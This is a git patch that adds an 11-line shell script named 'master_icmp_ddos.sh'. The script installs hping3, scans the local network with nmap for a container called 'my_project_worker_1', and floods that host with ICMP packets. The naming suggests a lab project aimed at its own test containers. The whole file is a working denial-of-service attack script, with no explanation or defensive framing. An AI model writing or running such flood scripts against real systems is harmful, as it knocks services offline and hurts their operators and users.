From 3c9d86cd7d9b6658bb18e66aebcd79b0659c5631 Mon Sep 17 00:00:00 2001 From: petroskaridis Date: Fri, 5 Feb 2021 13:22:45 +0000 Subject: [PATCH] Add 'DDOS Attack/master_icmp_ddos.sh' --- DDOS Attack/master_icmp_ddos.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 DDOS Attack/master_icmp_ddos.sh diff --git a/DDOS Attack/master_icmp_ddos.sh b/DDOS Attack/master_icmp_ddos.sh new file mode 100644 index 0000000..ea464f4 --- /dev/null +++ b/DDOS Attack/master_icmp_ddos.sh @@ -0,0 +1,11 @@ +sudo apt update +sudo apt upgrade -y +sudo apt install hping3 -y +netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/') +clear +echo "Target network: " $netip +#Find worker1 victim IP +worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()') +#Ddos attack to worker1 with syn flood at port 80 and icmp protocol +echo "Initiate attack towards worker 1 with IP: "$worker1 +sudo hping3 -p 80 --flood --icmp $worker1 \ No newline at end of file